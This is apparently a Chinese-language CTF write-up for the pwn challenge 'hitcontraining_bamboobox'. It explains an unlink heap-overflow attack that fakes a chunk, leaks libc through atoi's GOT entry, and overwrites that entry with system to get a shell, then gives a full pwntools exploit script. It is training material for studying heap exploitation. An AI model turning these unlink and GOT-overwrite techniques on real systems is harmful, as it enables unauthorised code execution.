hitcontraining_bamboobox

一道unlink的题目，题目给出了add，remove，change，show四个功能，漏洞在于没有检查change的范围导致堆溢出，并且题目中给出了system函数，还是伪造fake_chunk来绕过unlink检查，从而实现任意地址写，首先申请3个0x80大小的chunk

add(0x80,'a' * 8)   
add(0x80,'b' * 8)
add(0x80,'c' * 8)

根据调试，我们可以看到0x6020C0+8处是指向0号chunk的指针，所以我们构造FD = 0x6020C8 - 0x10,BK = 0x6020C0 - 0x18然后构造fake_chunk

ptr = 0x6020c8
fake_chunk = p64(0) 
fake_chunk += p64(0x81)
fake_chunk += p64(ptr-0x18) 
fake_chunk += p64(ptr-0x10) 
fake_chunk += 'c'*0x60
fake_chunk += p64(0x80) 
fake_chunk += p64(0x90) 
edit(0,0x90,fake_chunk) 
free(1)

free之后就会0号chunk和1号chunk进行合并到unsorted bin中就可以通过编写0号chunk来修改ptr-0x10处的值

payload = p64(0) * 3 
atoi_got = elf.got["atoi"]
payload += p64(atoi_got)
edit(0,0x20,payload)
show()
ru("0 : ")
atoi_addr = u64(ru(":")[:6].ljust(8,'\x00'))
libcbase = atoi_addr - libc.symbols['atoi']
system_addr = libcbase + libc.symbols['system']

这里通过show这个功能吧atoi_got表地址打印出来从而算出libc基址

edit(0,0x8,p64(system_addr))
ru(":")
sl("/bin/sh\x00")
a.interactive()

最后将atoi_got该为system地址，就可以在atoi的参数处输入/bin/sh\x00从而get shell

exp如下：

from pwn import *
from LibcSearcher import *
from struct import pack 
context(log_level="debug",os="linux",arch="amd64")
​
sd = lambda x:a.send(x)
sl = lambda x:a.sendline(x)
ru = lambda x:a.recvuntil(x)
rl = lambda :a.recvline()
ra = lambda :a.recv()
rn = lambda x:a.recv(x)
sla = lambda x,y:a.sendlineafter(x,y)
​
local = 'bamboobox'
a = process(local)
libc = ELF("libc-2.24.so")
#a = remote("node4.buuoj.cn",26365)
elf = ELF(local)
def add(size,name):
    sla("Your choice:","2")
    sla("name:",str(size))
    ru("item:")
    sd(name)
​
def free(idx):
    sla("Your choice:","4")
    sla("item:",str(idx))
​
def edit(idx,size,name):
    sla("Your choice:","3")
    sla("item:",str(idx))
    sla("name:",str(size))
    ru("item:")
    sd(name)
​
def show():
    sla("Your choice:","1")
​
add(0x80,'a' * 8)
add(0x80,'b' * 8)
add(0x80,'c' * 8)
gdb.attach(a)
ptr = 0x6020c8
fake_chunk = p64(0) 
fake_chunk += p64(0x81)
fake_chunk += p64(ptr-0x18) 
fake_chunk += p64(ptr-0x10) 
fake_chunk += 'c'*0x60
fake_chunk += p64(0x80) 
fake_chunk += p64(0x90) 
edit(0,0x90,fake_chunk) 
free(1)                 
                            
payload = p64(0) * 3        
atoi_got = elf.got["atoi"]
payload += p64(atoi_got)
edit(0,0x20,payload)
​
show()
ru("0 : ")
atoi_addr = u64(ru(":")[:6].ljust(8,'\x00'))
libcbase = atoi_addr - libc.symbols['atoi']
system_addr = libcbase + libc.symbols['system']
edit(0,0x8,p64(system_addr))
​
ru(":")
sl("/bin/sh\x00")
a.interactive()